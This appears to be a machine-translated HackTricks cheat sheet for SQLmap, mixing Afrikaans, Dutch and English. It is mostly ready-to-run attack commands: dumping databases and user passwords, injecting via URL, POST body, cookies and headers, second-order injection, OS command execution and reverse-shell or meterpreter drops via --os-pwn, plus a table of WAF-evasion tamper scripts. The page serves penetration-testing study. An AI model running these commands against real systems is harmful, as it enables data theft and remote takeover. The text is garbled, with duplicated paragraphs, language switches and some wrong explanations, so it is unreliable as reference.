hacktricks/pentesting-web/sql-injection/sqlmap.md
2024-02-11 02:07:06 +00:00

23 KiB

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese argumente vir SQLmap

Generies

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Haal Inligting Op

Intern

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB data

DB data

Die --dump vlag kan gebruik word om die volledige inhoud van die databasis te onttrek. Dit sal die tabelle en die data binne elke tafel uitvoer. Hier is 'n voorbeeld van hoe om dit te gebruik:

sqlmap -u "http://example.com/page.php?id=1" --dump

Dit sal die databasisinligting soos tabelle, kolomme en data uitvoer.

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injeksieplek

Vanaf Burp/ZAP vaslegging

Vasvang die versoek en skep 'n req.txt-lêer

sqlmap -r req.txt --current-user

Kryversoekinspuiting

GET-versoekinspuiting is 'n tegniek wat gebruik word om SQL-injeksie aanvalle uit te voer deur spesifieke parameters in 'n GET-versoek te manipuleer. Hierdie tegniek maak gebruik van die kwesbaarheid van swak invoerverifikasie in webtoepassings wat die invoerparameters nie behoorlik ontsmet nie.

SQLMap

SQLMap is 'n kragtige outomatiese SQL-injeksiehulpmiddel wat gebruik kan word om SQL-injeksie aanvalle uit te voer op webtoepassings. Dit kan gebruik word om die kwesbaarhede in 'n webtoepassing te identifiseer en die databasisinligting te onttrek.

SQL-injeksie in 'n GET-versoek

By die uitvoer van 'n SQL-injeksie aanval in 'n GET-versoek, word die aanvaller in staat gestel om kwaadwillige SQL-kode in te voer deur die URL-parameters te manipuleer. Hierdie kwaadwillige kode kan gebruik word om die databasis te ondersoek, data te verander of selfs die hele databasis te vernietig.

Identifisering van SQL-injeksie in 'n GET-versoek

Om SQL-injeksie in 'n GET-versoek te identifiseer, kan jy gebruik maak van hulpmiddels soos SQLMap. Hierdie hulpmiddels sal die webtoepassing skandeer vir moontlike kwesbaarhede en die resultate aan jou verskaf.

Voorkoming van SQL-injeksie in 'n GET-versoek

Om SQL-injeksie in 'n GET-versoek te voorkom, is dit belangrik om behoorlike invoerverifikasie en ontsmetting van die URL-parameters te implementeer. Dit kan gedoen word deur die gebruik van parameterisering of die gebruik van 'n ORM (Object-Relational Mapping) raamwerk wat die invoerparameters behoorlik ontsmet.

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Aanvraag Injeksie

In sommige gevallen kan het nodig zijn om SQL-injectie uit te voeren op een POST-verzoek in plaats van een GET-verzoek. Dit kan voorkomen wanneer de doelwebsite gevoelige gegevens verzendt via een POST-verzoek, zoals inloggegevens of andere vertrouwelijke informatie.

Om SQL-injectie op een POST-verzoek uit te voeren, kan de tool SQLMap worden gebruikt. SQLMap is een krachtige tool die specifiek is ontworpen voor het automatiseren van SQL-injectieaanvallen.

Om SQLMap te gebruiken voor het uitvoeren van een SQL-injectie op een POST-verzoek, moet je de volgende stappen volgen:

  1. Identificeer het doel-POST-verzoek: Gebruik een proxytool zoals Burp Suite om het POST-verzoek te onderscheppen en te analyseren. Identificeer de parameters die worden verzonden via het POST-verzoek.

  2. Gebruik SQLMap met de juiste opties: Voer het volgende commando uit om SQLMap te gebruiken voor het uitvoeren van een SQL-injectie op een POST-verzoek:

    sqlmap -u "URL" --data "PARAMETERS" --method POST
    

    Vervang "URL" door de URL van het doelwit en "PARAMETERS" door de parameters die zijn geïdentificeerd in stap 1.

  3. Analyseer de resultaten: SQLMap zal automatisch proberen SQL-injectie uit te voeren op de opgegeven parameters. Analyseer de resultaten om te zien of er een succesvolle SQL-injectie is gevonden.

Het uitvoeren van SQL-injectie op een POST-verzoek kan complexer zijn dan op een GET-verzoek, omdat je rekening moet houden met de manier waarop de parameters worden verzonden en verwerkt door de doelwebsite. Het is belangrijk om de juiste opties en instellingen te gebruiken bij het gebruik van SQLMap om de beste resultaten te behalen.

sqlmap -u "http://example.com" --data "username=*&password=*"

Injeksies in Koppe en ander HTTP Metodes

Introduction

Inleiding

In addition to injecting payloads in the URL parameters and the request body, it is also possible to inject payloads in the headers and other HTTP methods. This can be useful in scenarios where the application relies heavily on headers or when other HTTP methods are used for data manipulation.

Naas die inspuiting van payloads in die URL-parameters en die versoekliggaam, is dit ook moontlik om payloads in die koppe en ander HTTP-metodes in te spuit. Dit kan nuttig wees in situasies waar die toepassing sterk afhanklik is van koppe of wanneer ander HTTP-metodes gebruik word vir data-manipulasie.

Injection in Headers

Insuiting in Koppe

Headers are an important part of an HTTP request and can contain valuable information. By injecting payloads in headers, an attacker can manipulate the behavior of the application or extract sensitive data.

Koppe is 'n belangrike deel van 'n HTTP-versoek en kan waardevolle inligting bevat. Deur payloads in koppe in te spuit, kan 'n aanvaller die gedrag van die toepassing manipuleer of sensitiewe data onttrek.

To perform injection in headers, you can use tools like Burp Suite or manually modify the headers using browser extensions like ModHeader.

Om inspuiting in koppe uit te voer, kan jy gereedskap soos Burp Suite gebruik of die koppe handmatig wysig deur gebruik te maak van blaaieruitbreidings soos ModHeader.

Injection in Other HTTP Methods

Insuiting in Ander HTTP Metodes

Apart from the commonly used GET and POST methods, there are other HTTP methods like PUT, DELETE, OPTIONS, etc. These methods can also be vulnerable to injection attacks.

Afgesien van die algemeen gebruikte GET- en POST-metodes, is daar ander HTTP-metodes soos PUT, DELETE, OPTIONS, ens. Hierdie metodes kan ook vatbaar wees vir inspuitingsaanvalle.

To perform injection in other HTTP methods, you can use tools like curl or modify the request manually using programming languages like Python.

Om inspuiting in ander HTTP-metodes uit te voer, kan jy gereedskap soos curl gebruik of die versoek handmatig wysig deur gebruik te maak van programmeertaal soos Python.

Conclusion

Gevolgtrekking

Injecting payloads in headers and other HTTP methods can provide additional attack vectors for an attacker. It is important to thoroughly test the application for vulnerabilities in these areas to ensure its security.

Die inspuiting van payloads in koppe en ander HTTP-metodes kan addisionele aanvalsvektore vir 'n aanvaller bied. Dit is belangrik om die toepassing deeglik te toets vir kwesbaarhede in hierdie areas om die veiligheid daarvan te verseker.

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Tweede orde inspuiting

Second order injection, ook bekend als tweede orde SQL-injectie, is een geavanceerde techniek die wordt gebruikt om kwetsbaarheden in een webtoepassing te misbruiken. In tegenstelling tot traditionele SQL-injectie, waarbij de aanvaller directe controle heeft over de query, maakt tweede orde injectie gebruik van de functionaliteit van de applicatie om later een aanval uit te voeren.

Het basisidee achter tweede orde injectie is om gegevens in de database in te voegen die later worden gebruikt in een query. Dit kan bijvoorbeeld gebeuren wanneer een gebruiker gegevens invoert die worden opgeslagen in de database en later worden opgehaald en gebruikt in een query zonder de juiste beveiligingscontroles.

Om tweede orde injectie uit te voeren, moet de aanvaller eerst een kwetsbaarheid vinden in de applicatie die het mogelijk maakt om gegevens in de database in te voegen. Vervolgens moet de aanvaller wachten tot de geïnjecteerde gegevens worden gebruikt in een query. Op dat moment kan de aanvaller de geïnjecteerde gegevens manipuleren om de query te wijzigen en kwaadaardige acties uit te voeren, zoals het ophalen van gevoelige gegevens of het wijzigen van de database.

Tweede orde injectie kan moeilijker te detecteren en te exploiteren zijn dan traditionele SQL-injectie, omdat de aanvaller moet wachten tot de geïnjecteerde gegevens worden gebruikt in een query. Het vereist ook een grondige kennis van de applicatie en de databasestructuur om de juiste manipulaties uit te voeren.

Om tweede orde injectie te voorkomen, is het belangrijk om de juiste beveiligingscontroles toe te passen bij het verwerken van gebruikersinvoer en het opstellen van query's. Dit omvat het gebruik van parameterbinding, het valideren en filteren van gebruikersinvoer en het beperken van de rechten van de databasegebruiker.

Tweede orde injectie is een geavanceerde techniek die vaak wordt gebruikt door ervaren aanvallers. Het begrijpen van deze techniek kan helpen bij het identificeren en beveiligen van kwetsbaarheden in webtoepassingen.

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Skulp

Die Shell is 'n program wat gebruik word om met die bedryfstelsel te kommunikeer. Dit bied 'n gebruikersvriendelike omgewing waarin gebruikers opdragte kan uitvoer en met die bedryfstelsel kan interaksie hê. Die Shell kan ook gebruik word om programme te skryf en uit te voer.

In die konteks van hacking, kan die Shell gebruik word om toegang tot 'n gehackte stelsel te verkry en beheer oor die stelsel te neem. Dit kan gebruik word om verskeie opdragte uit te voer, lêers te skep en te verwyder, data te manipuleer, en selfs om 'n backdoor te skep vir toekomstige toegang.

Die Shell is 'n kragtige instrument vir 'n hacker en kan gebruik word om verskeie aanvalstegnieke uit te voer, soos die uitvoering van skadelike kode, die verkryging van vertroulike inligting, en die uitvoer van ander hacking-aktiwiteite. Dit is belangrik vir 'n hacker om 'n goeie begrip van die Shell te hê en hoe om dit effektief te gebruik.

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Kruip 'n webwerf met SQLmap en outomatiese uitbuiting

Om 'n webwerf te kruip en outomaties uit te buit met SQLmap, kan jy die volgende stappe volg:

  1. Voer die volgende bevel in om SQLmap te begin:

    sqlmap -u <URL> --crawl=3 --batch
    

    Hierdie bevel sal SQLmap begin en die opgegee URL gebruik om die webwerf te kruip. Die --crawl=3 vlag dui aan dat SQLmap tot 'n diepte van 3 vlakke moet kruip. Die --batch vlag verseker dat SQLmap outomaties sal werk sonder om gebruikersinteraksie te vereis.

  2. SQLmap sal begin om die webwerf te kruip en sal soek na enige SQL-injeksiekwessies. As 'n kwessie gevind word, sal SQLmap dit outomaties probeer uitbuit.

  3. As SQLmap 'n suksesvolle uitbuiting uitvoer, sal dit die relevante inligting vertoon, soos die SQL-instrukisie wat uitgevoer is en die verkryde data.

Dit is belangrik om te onthou dat die gebruik van SQLmap om 'n webwerf te kruip en uit te buit slegs toegelaat word met toestemming van die eienaar van die webwerf. Onwettige gebruik van hierdie tegniek kan lei tot regskonsekwensies.

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Stel 'n agtervoegsel in

By die gebruik van die --suffix vlag in SQLMap, kan jy 'n agtervoegsel spesifiseer wat by die einde van elke SQL-injeksiepoging gevoeg moet word. Hierdie agtervoegsel kan gebruik word om die SQL-injeksie-aanval te personaliseer en spesifieke gedrag te veroorsaak.

Byvoorbeeld, as jy die agtervoegsel --suffix=' AND 1=1' spesifiseer, sal SQLMap die SQL-injeksiepogings aanpas deur die AND 1=1-voorwaarde by die einde van elke poging te voeg. Hierdie voorwaarde sal altyd waar wees, wat beteken dat die SQL-injeksie-aanval altyd suksesvol sal wees.

Dit kan nuttig wees om 'n agtervoegsel te gebruik om spesifieke gedrag te veroorsaak, soos die omseil van sekuriteitsmaatreëls of die verkryging van spesifieke inligting.

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Voorvoegsel

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Help om booleaanse inspuiting te vind

Boolean inspuiting is een techniek die wordt gebruikt om SQL-injectieaanvallen uit te voeren door gebruik te maken van booleaanse logica. Met deze techniek kunnen aanvallers informatie verkrijgen door waarheids- of valsheidswaarden te manipuleren in SQL-query's.

Om booleaanse inspuiting te vinden, kunt u de volgende stappen volgen:

  1. Identificeer de invoervelden op de doelwebsite die mogelijk vatbaar zijn voor SQL-injectie.
  2. Voer een eenvoudige test uit door een enkel aanhalingsteken (') in te voeren in de invoervelden en te controleren op foutmeldingen of onverwacht gedrag. Als er een foutmelding wordt weergegeven, kan dit duiden op een mogelijke SQL-injectiekwetsbaarheid.
  3. Probeer de waarheids- of valsheidswaarden in de SQL-query te manipuleren door gebruik te maken van logische operatoren zoals AND, OR en NOT. Bijvoorbeeld: ' OR 1=1 --.
  4. Observeer het gedrag van de applicatie. Als de applicatie anders reageert op verschillende invoerwaarden, kan dit wijzen op een booleaanse inspuitingskwetsbaarheid.
  5. Gebruik geautomatiseerde tools zoals SQLMap om de booleaanse inspuiting verder te verkennen en te exploiteren. SQLMap kan verschillende technieken en payloads gebruiken om de kwetsbaarheid te identificeren en gegevens te extraheren.

Het is belangrijk om op te merken dat het uitvoeren van SQL-injectieaanvallen zonder toestemming illegaal is. Zorg ervoor dat u altijd toestemming heeft van de eigenaar van het doelsysteem voordat u dergelijke technieken toepast.

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Versteur

Tampering is a technique used in SQL injection attacks to modify the behavior of the SQL injection tool, such as SQLMap, in order to bypass security measures and successfully exploit vulnerabilities.

Tampering involves altering the payload sent to the target application in a way that evades detection or manipulation by security mechanisms, such as Web Application Firewalls (WAFs) or Input Validation filters.

SQLMap provides a variety of tamper scripts that can be used to modify the SQL injection payload. These tamper scripts are designed to obfuscate or modify the injected SQL code in order to bypass security controls.

Tamper scripts can be specified using the --tamper option in SQLMap. For example, the following command uses the apostrophemask tamper script:

sqlmap -u http://example.com/vulnerable.php?id=1 --tamper=apostrophemask

This tamper script replaces single quotes (') with their URL-encoded equivalent (%27) to bypass input validation filters that may be looking for this specific character.

By using tamper scripts, SQLMap can evade detection and successfully exploit SQL injection vulnerabilities in target applications. It is important to note that tampering should be used responsibly and with proper authorization during penetration testing engagements.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Beskrywing
apostrophemask.py Vervang die apostroofkarakter met sy UTF-8 volle breedte teenhanger
apostrophenullencode.py Vervang die apostroofkarakter met sy onwettige dubbele unicode teenhanger
appendnullbyte.py Voeg 'n gekodeerde NULL-byte karakter by die einde van die payload
base64encode.py Base64 alle karakters in 'n gegewe payload
between.py Vervang die groter as operator '&gt;' met 'NIET TUSSEN 0 EN #'
bluecoat.py Vervang die spasiekarakter na SQL-stelling met 'n geldige lukrake leë karakter. Vervang daarna die karakter = met die LIKE operator
chardoubleencode.py Dubbel url-kodeer alle karakters in 'n gegewe payload sonder om reeds gekodeer te verwerk
commalesslimit.py Vervang voorkomste soos 'LIMIT M, N' met 'LIMIT N OFFSET M'
commalessmid.py Vervang voorkomste soos 'MID(A, B, C)' met 'MID(A FROM B FOR C)'
concat2concatws.py Vervang voorkomste soos 'CONCAT(A, B)' met 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Url-kodeer alle karakters in 'n gegewe payload sonder om reeds gekodeer te verwerk
charunicodeencode.py Kodeer Unicode-url nie-gekodeerde karakters in 'n gegewe payload sonder om reeds gekodeer te verwerk. "%u0022"
charunicodeescape.py Kodeer Unicode-url nie-gekodeerde karakters in 'n gegewe payload sonder om reeds gekodeer te verwerk. "\u0022"
equaltolike.py Vervang alle voorkomste van die gelyk operator '=' met die operator 'LIKE'
escapequotes.py Slas ontsnap aan aanhalingstekens ' en "
greatest.py Vervang die groter as operator '&gt;' met die 'GREATEST' teenhanger
halfversionedmorekeywords.py Voeg 'n versie MySQL-kommentaar voor elke sleutelwoord by
ifnull2ifisnull.py Vervang voorkomste soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Sluit die volledige navraag in met 'n versiekommentaar
modsecurityzeroversioned.py Sluit die volledige navraag in met 'n nul-versiekommentaar
multiplespaces.py Voeg veelvuldige spasies by rondom SQL-sleutelwoorde
nonrecursivereplacement.py Vervang voorafbepaalde SQL-sleutelwoorde met verteenwoordigings wat geskik is vir vervanging (bv. .replace("SELECT", "")) filters
percentage.py Voeg 'n persentasieteken '%' voor elke karakter in
overlongutf8.py Omskakel alle karakters in 'n gegewe payload sonder om reeds gekodeer te verwerk
randomcase.py Vervang elke sleutelwoordkarakter met 'n lukrake gevalwaarde
randomcomments.py Voeg lukrake kommentaar by SQL-sleutelwoorde
securesphere.py Voeg 'n spesiaal vervaardigde string by
sp_password.py Voeg 'sp_password' by die einde van die payload vir outomatiese verduistering vanaf DBMS-logboeke
space2comment.py Vervang spasiekarakter ' ' met kommentaar
space2dash.py Vervang spasiekarakter ' ' met 'n streepkommentaar '--' gevolg deur 'n lukrake string en 'n nuwe lyn '\n'
space2hash.py Vervang spasiekarakter ' ' met 'n pondkarakter '\#' gevolg deur 'n lukrake string en 'n nuwe lyn '\n'
space2morehash.py Vervang spasiekarakter ' ' met 'n pondkarakter '\#' gevolg deur 'n lukrake string en 'n nuwe lyn '\n'
space2mssqlblank.py Vervang spasiekarakter ' ' met 'n lukrake leë karakter uit 'n geldige stel alternatiewe karakters
space2mssqlhash.py Vervang spasiekarakter ' ' met 'n pondkarakter '\#' gevolg deur 'n nuwe lyn '\n'
space2mysqlblank.py Vervang spasiekarakter ' ' met 'n lukrake leë karakter uit 'n geldige stel alternatiewe karakters
space2mysqldash.py Vervang spasiekarakter ' ' met 'n streepkommentaar '--' gevolg deur 'n nuwe lyn '\n'
space2plus.py Vervang spasiekarakter ' ' met plus '+'
space2randomblank.py Vervang spasiekarakter ' ' met 'n lukrake leë karakter uit 'n geldige stel alternatiewe karakters
symboliclogical.py Vervang AND- en OR-logiese operatore met hul simboliese teenhangers (&& en
unionalltounion.py Vervang UNION ALL SELECT met UNION SELECT
unmagicquotes.py Vervang aanhalingstekenkarakter ' met 'n multi-byte kombinasie %bf%27 saam met 'n generiese kommentaar aan die einde om dit te laat werk
uppercase.py Vervang elke sleutelwoordkarakter met 'n hoofletterwaarde 'INSERT'
varnish.py Voeg 'n HTTP-kop 'X-originating-IP' by
versionedkeywords.py Sluit elke nie-funksie sleutelwoord in met 'n versie MySQL-kommentaar
versionedmorekeywords.py Sluit elke sleutelwoord in met 'n versie MySQL-kommentaar
xforwardedfor.py Voeg 'n vals HTTP-kop 'X-Forwarded-For' by
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: